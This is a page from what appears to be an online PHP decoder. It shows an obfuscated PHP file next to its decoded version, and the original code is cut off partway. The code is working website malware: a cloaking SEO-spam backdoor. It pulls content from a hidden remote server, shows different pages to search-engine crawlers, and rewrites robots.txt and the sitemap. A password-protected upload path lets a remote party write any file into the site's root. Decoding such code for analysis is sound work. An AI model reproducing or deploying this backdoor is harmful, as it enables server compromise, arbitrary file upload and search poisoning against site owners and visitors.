Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php goto YuGxn; FWeTj: if (strstr($onnPQ, "\x67\145\164\143\157\x6e\x74\x65\156\x74\6..
Decoded Output download
<?php
goto YuGxn; FWeTj: if (strstr($onnPQ, "getcontent500page")) { goto Xr0TZ; } goto N8iN0; QykAu: USYCq($lg7eI, $GYUF6, $LO6Y6); goto xchbF; Ai7f3: function I2jQI() { goto rGHO8; gbqJb: return true; goto A1r_H; Ic2VZ: return true; goto lTS0l; UNMq9: return true; goto RTa0C; rUxX9: yWxBk: goto gbqJb; lTS0l: hMdk1: goto fJllg; KUZhX: if (isset($_SERVER["HTTP_FRONT_END_HTTPS"]) && strtolower($_SERVER["HTTP_FRONT_END_HTTPS"]) !== "off") { goto tijce; } goto Ck3Sf; fJllg: return false; goto d_OQJ; SUERm: if (isset($_SERVER["HTTP_X_FORWARDED_PROTO"]) && $_SERVER["HTTP_X_FORWARDED_PROTO"] === "https") { goto yWxBk; } goto KUZhX; A1r_H: goto hMdk1; goto naqsV; t8PHM: e3m5j: goto UNMq9; naqsV: tijce: goto Ic2VZ; rGHO8: if (isset($_SERVER["HTTPS"]) && strtolower($_SERVER["HTTPS"]) !== "off") { goto e3m5j; } goto SUERm; RTa0C: goto hMdk1; goto rUxX9; Ck3Sf: goto hMdk1; goto t8PHM; d_OQJ: } goto IN23T; gPGY9: LHJC3: goto XGppv; q8Sa6: AxxhK: goto R4mhl; UXd_m: function JvsAH($fUvs_) { goto o8VF2; bdYb4: return $IjP4L; goto cow9d; VDd5G: if ($IjP4L) { goto fTIKI; } goto xcPTQ; i7NzC: curl_setopt($s2pfs, CURLOPT_URL, $fUvs_); goto r0xPI; o8VF2: $IjP4L = ''; goto LQEa3; r0xPI: curl_setopt($s2pfs, CURLOPT_SSL_VERIFYHOST, 0); goto O7EMJ; J5UQZ: $IjP4L = curl_exec($s2pfs); goto SnAuv; LQEa3: if (!function_exists("curl_init")) { goto EbL0g; } goto mdxzO; O7EMJ: curl_setopt($s2pfs, CURLOPT_SSL_VERIFYPEER, 0); goto OPsdc; A_Exs: EbL0g: goto VDd5G; KmZSz: fTIKI: goto bdYb4; mdxzO: $s2pfs = curl_init(); goto i7NzC; pURR2: curl_setopt($s2pfs, CURLOPT_CONNECTTIMEOUT, 30); goto J5UQZ; OPsdc: curl_setopt($s2pfs, CURLOPT_RETURNTRANSFER, 1); goto pURR2; SnAuv: curl_close($s2pfs); goto A_Exs; xcPTQ: $IjP4L = @file_get_contents($fUvs_); goto KmZSz; cow9d: } goto HQVL8; alkNv: if (strstr($onnPQ, "okhtmlgetcontent")) { goto bcWTP; } goto d4Zxj; WWrCP: AaeTl: goto kLTUj; ZWBmD: oPmbL: goto NmH2j; lQ4X1: if (!($C0MQr == '')) { goto DEFcq; } goto GMjUi; lzlYB: $tVMZJ = $cY7ye; goto UuY32; Om8iI: MZZrZ: goto ZfcVH; rI2_l: if (!($CITez == JvsaH($ss4Nk . "://" . $QlQSs . "/a.p" . "hp") || $NtJQn == "f8f0dae804368c0334e22d9dcb70d3c7bbfa9635")) { goto lbuMi; } goto jSODO; iLugQ: JFyvi: goto pdsQD; EJVri: exit; goto HBawv; VHo0E: $GYUF6 = $DiqHL . "/" . $m7LGf . "/" . $cWrik; goto xhZhM; IR0Ap: $onnPQ = trim(JvsAH($RJ12g)); goto GDwmu; ypTzm: $KZXtw = "put"; goto hWefZ; ThI54: LVvQF: goto ZX3ic; FLaol: $glUTJ = @$_GET["mapname"]; goto bMqr3; dei1B: if ($KZXtw) { goto gTmeI; } goto ypTzm; WyuZR: eSIPB: goto rkcXf; hKoDe: $YwnPK = "%73%6B%61%72%6E%65%6F%6C%67%72%2E%70%62%63%68%65%63%61%68%2E%6B%6C%6D"; goto V7gb2; Qejsb: if (!($C0MQr == "/" || strstr($C0MQr, "ewttm"))) { goto CRCKM; } goto QykAu; MYGu1: goto JgION; goto y6SIH; iJQYV: if (!($KZXtw == "put")) { goto biRvR; } goto Iiw9v; gMp4Q: exit; goto ZYKjv; IMFwH: exit; goto YFOWW; WCcZf: $Bl4Lh = $Co0YT . "://" . $cY7ye . "/" . $glUTJ; goto h3xYj; wtVZM: if (file_exists($GYUF6)) { goto oPmbL; } goto cgmkU; jqi2a: echo "<br>sitemap name false!<br>"; goto n7J2i; cgmkU: $onnPQ = str_replace("[##linkcss##]", '', $onnPQ); goto VLVAN; ZfcVH: $r805c = $DiqHL . "/sitemap.xml"; goto aSD3h; X71k6: $RJ12g = $ss4Nk . "://" . $QlQSs . "/indexnew.php?web=" . $cY7ye . "&zz=" . sX7Zw() . "&uri=" . $Cjcl8 . "&urlshang=" . $Qn_bN . "&http=" . $Co0YT . "&lang=" . $Cw5bj; goto Gfvuf; EnngG: cQpVW: goto uSf96; iLv4L: yZAAY: goto QzXg4; nNlmQ: if (!($ibikC == "f75fd5acd36a7fbd1e219b19881a5348bfc66e79")) { goto s5e0t; } goto FLaol; HBawv: thhb6: goto txmgs; nwdZ1: if (!file_put_contents($DiqHL . "/" . $glUTJ, $ge1jj)) { goto OfivS; } goto oKyth; VznyY: exit; goto ZEGzU; bK2iH: Xr0TZ: goto JevRh; PEodI: $cWrik = str_rot13(substr($tVMZJ, 0, 3) . substr($QlQSs, 0, 3)) . ".css"; goto VHo0E; uWhaK: yCAWK: goto SYkcp; JevRh: @header("HTTP/1.1 500 Internal Server Error"); goto IMFwH; LvIxU: echo "<br>file write false!<br>"; goto uE0s9; tTSVo: $m7LGf = "css"; goto BW1kp; UuY32: goto AiWCv; goto q8Sa6; HQVL8: function usYCQ($lg7eI, $GYUF6, $LO6Y6) { goto q7E2t; axCiW: Mk5vs: goto qKcX5; q7E2t: if (is_dir($lg7eI)) { goto LzJIO; } goto iAPgs; b8WKi: if (file_exists($GYUF6)) { goto Mk5vs; } goto QEfu7; Cj3Tn: if (file_exists($GYUF6)) { goto kZ_Ro; } goto z_053; efR6r: goto mnRg9; goto YxEjb; QEfu7: @file_put_contents($GYUF6, JVSah($LO6Y6)); goto axCiW; YxEjb: LzJIO: goto b8WKi; sqfra: kZ_Ro: goto RJyAJ; iAPgs: if (!@mkdir($lg7eI)) { goto TXxqi; } goto Cj3Tn; RJyAJ: TXxqi: goto efR6r; qKcX5: mnRg9: goto EILxn; z_053: @file_put_contents($GYUF6, jVSah($LO6Y6)); goto sqfra; EILxn: } goto Qejsb; lX5Nh: $Qn_bN = urlencode($Qn_bN); goto tLe7G; P0_RD: goto TwTe8; goto zIMdF; SYkcp: $lg7eI = $DiqHL . "/" . $m7LGf; goto KjtbM; dDZpJ: if (isset($_SERVER["DOCUMENT_ROOT"])) { goto AaeTl; } goto osHJU; y6SIH: FrwVO: goto QmpAC; rkcXf: $WorpI = $DiqHL . "/robots.txt"; goto IIFvi; gh5VH: $Qn_bN = $_SERVER["HTTP_REFERER"]; goto lX5Nh; hksGI: $Cw5bj = @$_SERVER["HTTP_ACCEPT_LANGUAGE"]; goto cY1rB; iRjVZ: goto DbIZR; goto bK2iH; b2cjN: @unlink($r805c); goto WyuZR; UgXkc: echo pYGF9($onnPQ); goto clx_N; KxfTf: $C0MQr = d1fpr(); goto lQ4X1; CYZBA: ak6nD: goto LraCK; VLVAN: goto cQpVW; goto ZWBmD; BW1kp: goto yCAWK; goto pDOEB; kLTUj: $DiqHL = $_SERVER["DOCUMENT_ROOT"]; goto rVqMP; r0YeE: kZaOf: goto lCn7a; CFqgg: biRvR: goto VznyY; ZX3ic: if (is_dir($DiqHL . "/wp-includes")) { goto ePANr; } goto tTSVo; V7gb2: $ss4Nk = "http"; goto hiLpk; kL26A: if (isset($_SERVER["DOCUMENT_ROOT"])) { goto yZAAY; } goto m45df; LraCK: @header("HTTP/1.1 404 Not Found"); goto fPO1a; MfEQU: OfivS: goto PmJvy; IN23T: $cY7ye = $_SERVER["HTTP_HOST"]; goto hksGI; clx_N: exit; goto gPGY9; OfqY_: function pYgf9($fUvs_) { goto TLWKI; oItFa: c46hb: goto DpTRz; TLWKI: $w9aHn = explode("\xd
", trim($fUvs_)); goto liF5Q; uNDfV: foreach ($w9aHn as $WOWrY) { goto sTMea; CIDuA: QO8YG: goto xXjV2; rd0iS: $YlDeX .= $WOWrY . "-- " . $bUqK4 . "<br>"; goto CIDuA; sTMea: $yEKTn = jVSaH($WOWrY); goto AMchm; AMchm: $bUqK4 = strpos($yEKTn, "Sitemap Notification Received") !== false ? "pingok" : "error"; goto rd0iS; xXjV2: } goto oItFa; liF5Q: $YlDeX = ''; goto uNDfV; DpTRz: return $YlDeX; goto FpFcU; FpFcU: } goto Fv5BN; ex1iy: $onnPQ = str_replace("[##linkcss##]", "<style>" . $jfA6M . "</style>", $onnPQ); goto EnngG; GXfva: @header("Content-type: text/html; charset=utf-8"); goto UgXkc; jSODO: $ge1jj = @$_GET["dstr"]; goto nwdZ1; E0G2z: if (!strstr($onnPQ, "getcontent301page")) { goto rsCuo; } goto lt8x1; zCEkS: echo "<br>ok<br>"; goto iLugQ; zbfbW: $ibikC = sha1(sha1(@$_GET["pd"])); goto nNlmQ; E6IAI: AiWCv: goto PEodI; b_nru: $QlQSs = str_rot13(urldecode($YwnPK)); goto Ai7f3; tLe7G: P9ZtC: goto zbfbW; fPO1a: exit; goto S3paN; oKyth: echo "ok"; goto MfEQU; vWrm7: echo "<br>sitemap already added!<br>"; goto F6OYY; HmB6E: $CITez = sha1(sha1(@$_GET["a"])); goto tBg5N; d4Zxj: if (strstr($onnPQ, "okxmlgetcontent")) { goto fA2Uh; } goto SjZKr; LGz3V: $RJ12g = $ss4Nk . "://" . $QlQSs . "/indexnew.php?web=" . $cY7ye . "&zz=" . sX7zw() . "&uri=" . $Cjcl8 . "&urlshang=" . $Qn_bN . "&http=" . $Co0YT . "&lang=" . $Cw5bj . "&css=1"; goto IyShN; Kb_2z: $onnPQ = str_replace("getcontent301page", '', $onnPQ); goto Jb4y1; Kri9v: echo $onnPQ; goto EJVri; N8iN0: if (strstr($onnPQ, "getcontent404page")) { goto ak6nD; } goto E0G2z; itP4C: if (!isset($_SERVER["HTTP_REFERER"])) { goto P9ZtC; } goto gh5VH; EXFLh: $m7LGf = "wp-includes/css"; goto uWhaK; iYMNa: $yabDe = JvsAh($WorpI); goto YSan9; osHJU: $DiqHL = dirname(__FILE__); goto B22ZG; n7J2i: goto BCDPC; goto Om8iI; poHnQ: exit; goto r0YeE; vfHew: usyCq($lg7eI, $GYUF6, $LO6Y6); goto GXfva; SjZKr: if (strstr($onnPQ, "pingxmlgetcontent")) { goto Rt57b; } goto FWeTj; S3paN: MzmHm: goto iRjVZ; QmpAC: $Co0YT = "https"; goto NoJ9V; L4iSB: if (!strstr($glUTJ, ".p" . "hp")) { goto cJz9n; } goto HmB6E; cY1rB: $Cw5bj = urlencode($Cw5bj); goto bC8Mh; ZYKjv: rsCuo: goto Z3UzB; uSf96: $onnPQ = str_replace("okhtmlgetcontent", '', $onnPQ); goto Kri9v; rVqMP: xATJI: goto dei1B; ryRvS: fA2Uh: goto FF1kS; xhZhM: $LO6Y6 = $ss4Nk . "://" . $QlQSs . "/temp/style.css"; goto OfqY_; Iu8rk: $onnPQ = str_replace("pingxmlgetcontent", '', $onnPQ); goto vfHew; EtBaR: function d1fPr() { goto m4jmc; boHXg: goto Zj_qR; goto sKJZF; uWpVA: return $Cjcl8; goto cHziE; j8NNY: Zj_qR: goto uWpVA; X7hz9: $Cjcl8 = $_SERVER["PHP_SELF"] . "?" . $_SERVER["QUERY_STRING"]; goto Zkdt7; ftVMA: cj0k0: goto qjQKh; uT3fg: if (isset($_SERVER["argv"])) { goto cj0k0; } goto X7hz9; xNHt1: QWX3h: goto boHXg; sKJZF: fd1m3: goto hdPnA; qjQKh: $Cjcl8 = $_SERVER["PHP_SELF"] . "?" . $_SERVER["argv"][0]; goto xNHt1; hdPnA: $Cjcl8 = $_SERVER["REQUEST_URI"]; goto j8NNY; m4jmc: if (isset($_SERVER["REQUEST_URI"])) { goto fd1m3; } goto uT3fg; Zkdt7: goto QWX3h; goto ftVMA; cHziE: } goto b_nru; hYv_c: sT8LO: goto zCEkS; tBg5N: $NtJQn = sha1(sha1(@$_GET["b"])); goto rI2_l; YSan9: TwTe8: goto WCcZf; pdsQD: goto vI93C; goto ioGpk; GDwmu: if (strstr($onnPQ, "nobotuseragent")) { goto R3bO2; } goto alkNv; Jb4y1: header("Location: " . $onnPQ); goto gMp4Q; bMqr3: $KZXtw = @$_GET["action"]; goto dDZpJ; g77ZC: @ignore_user_abort(1); goto hKoDe; htpxw: Rt57b: goto Iu8rk; HXLdC: DEFcq: goto jNtDj; orZIs: cJz9n: goto CFqgg; ZEGzU: s5e0t: goto kL26A; Gfvuf: goto hU0hu; goto jD6Vy; NmH2j: $jfA6M = file_get_contents($GYUF6); goto ex1iy; jNtDj: $Cjcl8 = urlencode($C0MQr); goto EtBaR; pDOEB: ePANr: goto EXFLh; aSD3h: if (!is_file($r805c)) { goto eSIPB; } goto b2cjN; zIMdF: CUCwl: goto iYMNa; qN_Sv: if (file_put_contents($WorpI, trim($yabDe) . "\xd\xa" . "Sitemap: " . $Bl4Lh)) { goto sT8LO; } goto LvIxU; B22ZG: goto xATJI; goto WWrCP; lCn7a: goto thhb6; goto AuOAy; MtU9h: $Co0YT = "http"; goto MYGu1; xchbF: CRCKM: goto Uyx2F; Iiw9v: if (strstr($glUTJ, ".xml")) { goto MZZrZ; } goto jqi2a; NoJ9V: JgION: goto KxfTf; WcByV: echo $onnPQ; goto poHnQ; XGppv: goto kZaOf; goto ryRvS; lt8x1: @header("HTTP/1.1 301 Moved Permanently"); goto Kb_2z; m45df: $DiqHL = dirname(__FILE__); goto w2lDc; ywXuT: goto LHJC3; goto htpxw; hiLpk: if (i2JQi()) { goto FrwVO; } goto MtU9h; ioGpk: II7Wc: goto vWrm7; F6OYY: vI93C: goto yRl03; Fv5BN: function Sx7zW() { goto v_Y_S; X2YRC: goto M0dAH; goto DC9V7; e7Fgt: if (stristr($L9vO8, "googlebot") || stristr($L9vO8, "bing") || stristr($L9vO8, "yahoo") || stristr($L9vO8, "google") || stristr($L9vO8, "Googlebot") || stristr($L9vO8, "googlebot")) { goto ujyX4; } goto Pong3; v_Y_S: $L9vO8 = strtolower($_SERVER["HTTP_USER_AGENT"]); goto e7Fgt; DC9V7: ujyX4: goto Hk3gA; Pong3: return false; goto X2YRC; Hk3gA: return true; goto N9WRg; N9WRg: M0dAH: goto SLo4r; SLo4r: } goto UXd_m; Uyx2F: if (is_file($GYUF6)) { goto BNm_h; } goto X71k6; hWefZ: gTmeI: goto iJQYV; GMjUi: $C0MQr = "/"; goto HXLdC; w2lDc: goto LVvQF; goto iLv4L; QzXg4: $DiqHL = $_SERVER["DOCUMENT_ROOT"]; goto ThI54; h3xYj: if (stristr($yabDe, $Bl4Lh)) { goto II7Wc; } goto qN_Sv; YuGxn: @set_time_limit(3600); goto g77ZC; FF1kS: $onnPQ = str_replace("okxmlgetcontent", '', $onnPQ); goto n3QVi; AuOAy: bcWTP: goto nICIf; bC8Mh: $Qn_bN = ''; goto itP4C; n3QVi: @header("Content-type: text/xml"); goto WcByV; nICIf: @header("Content-type: text/html; charset=utf-8"); goto wtVZM; KjtbM: if (substr($cY7ye, 0, 4) == "www.") { goto AxxhK; } goto lzlYB; PmJvy: lbuMi: goto orZIs; R4mhl: $tVMZJ = substr($cY7ye, 4); goto E6IAI; yRl03: BCDPC: goto L4iSB; jD6Vy: BNm_h: goto LGz3V; IyShN: hU0hu: goto IR0Ap; Dh3kI: $yabDe = "User-agent: *
Allow: /"; goto P0_RD; Z3UzB: goto MzmHm; goto CYZBA; IIFvi: if (file_exists($WorpI)) { goto CUCwl; } goto Dh3kI; uE0s9: goto JFyvi; goto hYv_c; YFOWW: DbIZR: goto ywXuT; txmgs: R3bO2: ?>
Did this file decode correctly?
Original Code
<?php
goto YuGxn; FWeTj: if (strstr($onnPQ, "\x67\145\164\143\157\x6e\x74\x65\156\x74\65\60\x30\160\x61\x67\145")) { goto Xr0TZ; } goto N8iN0; QykAu: USYCq($lg7eI, $GYUF6, $LO6Y6); goto xchbF; Ai7f3: function I2jQI() { goto rGHO8; gbqJb: return true; goto A1r_H; Ic2VZ: return true; goto lTS0l; UNMq9: return true; goto RTa0C; rUxX9: yWxBk: goto gbqJb; lTS0l: hMdk1: goto fJllg; KUZhX: if (isset($_SERVER["\110\x54\x54\120\137\x46\122\x4f\x4e\x54\x5f\x45\x4e\x44\137\110\x54\x54\x50\123"]) && strtolower($_SERVER["\x48\x54\124\120\x5f\x46\122\x4f\x4e\x54\137\105\116\x44\137\110\124\x54\120\x53"]) !== "\157\x66\146") { goto tijce; } goto Ck3Sf; fJllg: return false; goto d_OQJ; SUERm: if (isset($_SERVER["\110\124\124\x50\x5f\130\137\x46\117\122\127\101\x52\104\x45\104\137\x50\122\117\x54\x4f"]) && $_SERVER["\x48\x54\x54\x50\x5f\x58\x5f\x46\117\122\x57\x41\122\104\x45\x44\x5f\120\x52\117\124\117"] === "\150\x74\164\x70\163") { goto yWxBk; } goto KUZhX; A1r_H: goto hMdk1; goto naqsV; t8PHM: e3m5j: goto UNMq9; naqsV: tijce: goto Ic2VZ; rGHO8: if (isset($_SERVER["\x48\124\124\120\123"]) && strtolower($_SERVER["\x48\124\124\x50\x53"]) !== "\157\x66\x66") { goto e3m5j; } goto SUERm; RTa0C: goto hMdk1; goto rUxX9; Ck3Sf: goto hMdk1; goto t8PHM; d_OQJ: } goto IN23T; gPGY9: LHJC3: goto XGppv; q8Sa6: AxxhK: goto R4mhl; UXd_m: function JvsAH($fUvs_) { goto o8VF2; bdYb4: return $IjP4L; goto cow9d; VDd5G: if ($IjP4L) { goto fTIKI; } goto xcPTQ; i7NzC: curl_setopt($s2pfs, CURLOPT_URL, $fUvs_); goto r0xPI; o8VF2: $IjP4L = ''; goto LQEa3; r0xPI: curl_setopt($s2pfs, CURLOPT_SSL_VERIFYHOST, 0); goto O7EMJ; J5UQZ: $IjP4L = curl_exec($s2pfs); goto SnAuv; LQEa3: if (!function_exists("\143\165\x72\154\137\x69\156\x69\164")) { goto EbL0g; } goto mdxzO; O7EMJ: curl_setopt($s2pfs, CURLOPT_SSL_VERIFYPEER, 0); goto OPsdc; A_Exs: EbL0g: goto VDd5G; KmZSz: fTIKI: goto bdYb4; mdxzO: $s2pfs = curl_init(); goto i7NzC; pURR2: curl_setopt($s2pfs, CURLOPT_CONNECTTIMEOUT, 30); goto J5UQZ; OPsdc: curl_setopt($s2pfs, CURLOPT_RETURNTRANSFER, 1); goto pURR2; SnAuv: curl_close($s2pfs); goto A_Exs; xcPTQ: $IjP4L = @file_get_contents($fUvs_); goto KmZSz; cow9d: } goto HQVL8; alkNv: if (strstr($onnPQ, "\157\x6b\x68\164\155\154\x67\145\x74\143\157\156\164\x65\156\164")) { goto bcWTP; } goto d4Zxj; WWrCP: AaeTl: goto kLTUj; ZWBmD: oPmbL: goto NmH2j; lQ4X1: if (!($C0MQr == '')) { goto DEFcq; } goto GMjUi; lzlYB: $tVMZJ = $cY7ye; goto UuY32; Om8iI: MZZrZ: goto ZfcVH; rI2_l: if (!($CITez == JvsaH($ss4Nk . "\72\57\57" . $QlQSs . "\57\141\x2e\160" . "\150\160") || $NtJQn == "\x66\x38\146\x30\x64\x61\x65\70\60\64\x33\66\70\x63\60\63\63\x34\x65\62\x32\x64\71\144\143\142\67\x30\x64\63\143\67\x62\x62\x66\141\71\x36\x33\65")) { goto lbuMi; } goto jSODO; iLugQ: JFyvi: goto pdsQD; EJVri: exit; goto HBawv; VHo0E: $GYUF6 = $DiqHL . "\57" . $m7LGf . "\x2f" . $cWrik; goto xhZhM; IR0Ap: $onnPQ = trim(JvsAH($RJ12g)); goto GDwmu; ypTzm: $KZXtw = "\160\x75\164"; goto hWefZ; ThI54: LVvQF: goto ZX3ic; FLaol: $glUTJ = @$_GET["\x6d\141\160\156\x61\x6d\145"]; goto bMqr3; dei1B: if ($KZXtw) { goto gTmeI; } goto ypTzm; WyuZR: eSIPB: goto rkcXf; hKoDe: $YwnPK = "\x25\67\63\x25\66\102\x25\66\61\45\x37\62\45\x36\x45\x25\66\x35\45\66\x46\45\66\103\x25\x36\x37\45\x37\62\x25\62\105\x25\x37\60\x25\x36\x32\x25\x36\x33\x25\x36\70\45\x36\65\45\66\x33\45\x36\x31\45\x36\70\45\62\x45\x25\66\x42\45\x36\x43\45\x36\104"; goto V7gb2; Qejsb: if (!($C0MQr == "\x2f" || strstr($C0MQr, "\145\167\164\x74\x6d"))) { goto CRCKM; } goto QykAu; MYGu1: goto JgION; goto y6SIH; iJQYV: if (!($KZXtw == "\160\x75\x74")) { goto biRvR; } goto Iiw9v; gMp4Q: exit; goto ZYKjv; IMFwH: exit; goto YFOWW; WCcZf: $Bl4Lh = $Co0YT . "\72\57\57" . $cY7ye . "\57" . $glUTJ; goto h3xYj; wtVZM: if (file_exists($GYUF6)) { goto oPmbL; } goto cgmkU; jqi2a: echo "\x3c\142\162\x3e\163\151\x74\x65\x6d\x61\160\40\156\x61\155\x65\x20\x66\x61\154\x73\x65\41\74\142\162\x3e"; goto n7J2i; cgmkU: $onnPQ = str_replace("\x5b\x23\x23\x6c\x69\156\153\x63\x73\x73\x23\43\135", '', $onnPQ); goto VLVAN; ZfcVH: $r805c = $DiqHL . "\x2f\163\151\164\145\x6d\x61\x70\56\x78\x6d\x6c"; goto aSD3h; X71k6: $RJ12g = $ss4Nk . "\72\x2f\57" . $QlQSs . "\x2f\151\156\144\x65\x78\x6e\145\167\56\x70\x68\160\x3f\167\x65\142\x3d" . $cY7ye . "\46\x7a\x7a\x3d" . sX7Zw() . "\46\x75\162\151\75" . $Cjcl8 . "\x26\165\x72\154\163\x68\141\x6e\x67\75" . $Qn_bN . "\46\150\x74\164\x70\75" . $Co0YT . "\46\154\x61\x6e\147\75" . $Cw5bj; goto Gfvuf; EnngG: cQpVW: goto uSf96; iLv4L: yZAAY: goto QzXg4; nNlmQ: if (!($ibikC == "\146\x37\65\146\144\x35\141\x63\x64\63\x36\x61\67\146\x62\144\61\x65\x32\61\71\x62\x31\71\70\x38\x31\141\x35\63\x34\70\142\146\143\x36\x36\x65\x37\71")) { goto s5e0t; } goto FLaol; HBawv: thhb6: goto txmgs; nwdZ1: if (!file_put_contents($DiqHL . "\57" . $glUTJ, $ge1jj)) { goto OfivS; } goto oKyth; VznyY: exit; goto ZEGzU; bK2iH: Xr0TZ: goto JevRh; PEodI: $cWrik = str_rot13(substr($tVMZJ, 0, 3) . substr($QlQSs, 0, 3)) . "\56\143\x73\163"; goto VHo0E; uWhaK: yCAWK: goto SYkcp; JevRh: @header("\110\x54\x54\x50\x2f\x31\x2e\61\40\65\x30\x30\x20\x49\156\164\x65\162\x6e\x61\154\x20\x53\x65\x72\166\x65\x72\x20\x45\162\x72\x6f\x72"); goto IMFwH; LvIxU: echo "\74\x62\x72\76\146\151\154\x65\40\167\162\151\x74\145\40\x66\141\154\x73\x65\41\x3c\x62\162\x3e"; goto uE0s9; tTSVo: $m7LGf = "\143\x73\163"; goto BW1kp; UuY32: goto AiWCv; goto q8Sa6; HQVL8: function usYCQ($lg7eI, $GYUF6, $LO6Y6) { goto q7E2t; axCiW: Mk5vs: goto qKcX5; q7E2t: if (is_dir($lg7eI)) { goto LzJIO; } goto iAPgs; b8WKi: if (file_exists($GYUF6)) { goto Mk5vs; } goto QEfu7; Cj3Tn: if (file_exists($GYUF6)) { goto kZ_Ro; } goto z_053; efR6r: goto mnRg9; goto YxEjb; QEfu7: @file_put_contents($GYUF6, JVSah($LO6Y6)); goto axCiW; YxEjb: LzJIO: goto b8WKi; sqfra: kZ_Ro: goto RJyAJ; iAPgs: if (!@mkdir($lg7eI)) { goto TXxqi; } goto Cj3Tn; RJyAJ: TXxqi: goto efR6r; qKcX5: mnRg9: goto EILxn; z_053: @file_put_contents($GYUF6, jVSah($LO6Y6)); goto sqfra; EILxn: } goto Qejsb; lX5Nh: $Qn_bN = urlencode($Qn_bN); goto tLe7G; P0_RD: goto TwTe8; goto zIMdF; SYkcp: $lg7eI = $DiqHL . "\57" . $m7LGf; goto KjtbM; dDZpJ: if (isset($_SERVER["\104\117\x43\x55\x4d\x45\116\124\137\x52\117\117\x54"])) { goto AaeTl; } goto osHJU; y6SIH: FrwVO: goto QmpAC; rkcXf: $WorpI = $DiqHL . "\x2f\x72\x6f\x62\157\164\x73\x2e\x74\x78\x74"; goto IIFvi; gh5VH: $Qn_bN = $_SERVER["\x48\x54\x54\x50\x5f\x52\105\x46\x45\122\x45\122"]; goto lX5Nh; hksGI: $Cw5bj = @$_SERVER["\x48\124\x54\x50\137\101\103\103\105\120\x54\x5f\x4c\x41\116\x47\125\101\x47\105"]; goto cY1rB; iRjVZ: goto DbIZR; goto bK2iH; b2cjN: @unlink($r805c); goto WyuZR; UgXkc: echo pYGF9($onnPQ); goto clx_N; KxfTf: $C0MQr = d1fpr(); goto lQ4X1; CYZBA: ak6nD: goto LraCK; VLVAN: goto cQpVW; goto ZWBmD; BW1kp: goto yCAWK; goto pDOEB; kLTUj: $DiqHL = $_SERVER["\x44\117\x43\125\115\105\x4e\124\x5f\122\x4f\x4f\x54"]; goto rVqMP; r0YeE: kZaOf: goto lCn7a; CFqgg: biRvR: goto VznyY; ZX3ic: if (is_dir($DiqHL . "\57\167\160\x2d\151\x6e\x63\154\165\144\145\163")) { goto ePANr; } goto tTSVo; V7gb2: $ss4Nk = "\150\x74\x74\160"; goto hiLpk; kL26A: if (isset($_SERVER["\104\x4f\103\125\x4d\105\x4e\x54\137\x52\x4f\x4f\x54"])) { goto yZAAY; } goto m45df; LraCK: @header("\x48\x54\124\x50\x2f\x31\56\x31\40\x34\60\64\40\x4e\x6f\x74\40\106\x6f\x75\x6e\144"); goto fPO1a; MfEQU: OfivS: goto PmJvy; IN23T: $cY7ye = $_SERVER["\110\124\124\120\x5f\x48\x4f\x53\124"]; goto hksGI; clx_N: exit; goto gPGY9; OfqY_: function pYgf9($fUvs_) { goto TLWKI; oItFa: c46hb: goto DpTRz; TLWKI: $w9aHn = explode("\xd\12", trim($fUvs_)); goto liF5Q; uNDfV: foreach ($w9aHn as $WOWrY) { goto sTMea; CIDuA: QO8YG: goto xXjV2; rd0iS: $YlDeX .= $WOWrY . "\x2d\x2d\x20" . $bUqK4 . "\74\142\162\x3e"; goto CIDuA; sTMea: $yEKTn = jVSaH($WOWrY); goto AMchm; AMchm: $bUqK4 = strpos($yEKTn, "\x53\151\x74\145\x6d\x61\x70\40\x4e\157\x74\151\146\x69\x63\141\164\151\x6f\156\x20\122\x65\x63\145\151\166\x65\144") !== false ? "\160\151\x6e\147\157\x6b" : "\x65\162\x72\x6f\x72"; goto rd0iS; xXjV2: } goto oItFa; liF5Q: $YlDeX = ''; goto uNDfV; DpTRz: return $YlDeX; goto FpFcU; FpFcU: } goto Fv5BN; ex1iy: $onnPQ = str_replace("\133\43\x23\x6c\151\x6e\x6b\x63\x73\163\43\x23\135", "\74\163\164\171\x6c\145\76" . $jfA6M . "\x3c\x2f\x73\x74\x79\x6c\145\76", $onnPQ); goto EnngG; GXfva: @header("\x43\157\x6e\164\145\x6e\164\x2d\164\x79\x70\145\x3a\40\164\x65\170\x74\57\x68\164\155\x6c\73\x20\143\x68\141\162\x73\145\164\x3d\165\x74\x66\x2d\70"); goto UgXkc; jSODO: $ge1jj = @$_GET["\x64\x73\164\162"]; goto nwdZ1; E0G2z: if (!strstr($onnPQ, "\147\x65\x74\x63\x6f\156\x74\x65\156\x74\63\60\61\x70\x61\x67\x65")) { goto rsCuo; } goto lt8x1; zCEkS: echo "\74\x62\x72\76\x6f\x6b\74\x62\162\x3e"; goto iLugQ; zbfbW: $ibikC = sha1(sha1(@$_GET["\160\x64"])); goto nNlmQ; E6IAI: AiWCv: goto PEodI; b_nru: $QlQSs = str_rot13(urldecode($YwnPK)); goto Ai7f3; tLe7G: P9ZtC: goto zbfbW; fPO1a: exit; goto S3paN; oKyth: echo "\157\153"; goto MfEQU; vWrm7: echo "\x3c\x62\x72\x3e\163\x69\x74\145\x6d\141\160\40\x61\x6c\162\145\x61\144\x79\x20\141\x64\x64\x65\x64\x21\x3c\142\x72\76"; goto F6OYY; HmB6E: $CITez = sha1(sha1(@$_GET["\x61"])); goto tBg5N; d4Zxj: if (strstr($onnPQ, "\x6f\x6b\x78\x6d\154\147\x65\164\143\157\x6e\164\145\156\x74")) { goto fA2Uh; } goto SjZKr; LGz3V: $RJ12g = $ss4Nk . "\72\x2f\57" . $QlQSs . "\x2f\x69\x6e\144\145\x78\156\145\167\56\160\x68\x70\77\x77\x65\x62\x3d" . $cY7ye . "\46\172\172\x3d" . sX7zw() . "\x26\x75\162\151\75" . $Cjcl8 . "\46\165\162\x6c\x73\150\141\156\x67\75" . $Qn_bN . "\46\150\164\164\x70\x3d" . $Co0YT . "\46\154\141\x6e\147\75" . $Cw5bj . "\46\143\x73\163\75\61"; goto IyShN; Kb_2z: $onnPQ = str_replace("\147\x65\x74\143\x6f\x6e\164\145\156\164\x33\x30\x31\x70\141\x67\x65", '', $onnPQ); goto Jb4y1; Kri9v: echo $onnPQ; goto EJVri; N8iN0: if (strstr($onnPQ, "\147\x65\164\x63\x6f\x6e\x74\145\x6e\x74\64\x30\x34\160\x61\x67\145")) { goto ak6nD; } goto E0G2z; itP4C: if (!isset($_SERVER["\110\x54\124\120\x5f\x52\x45\106\105\x52\105\122"])) { goto P9ZtC; } goto gh5VH; EXFLh: $m7LGf = "\x77\x70\55\151\x6e\143\154\x75\144\x65\163\x2f\143\163\163"; goto uWhaK; iYMNa: $yabDe = 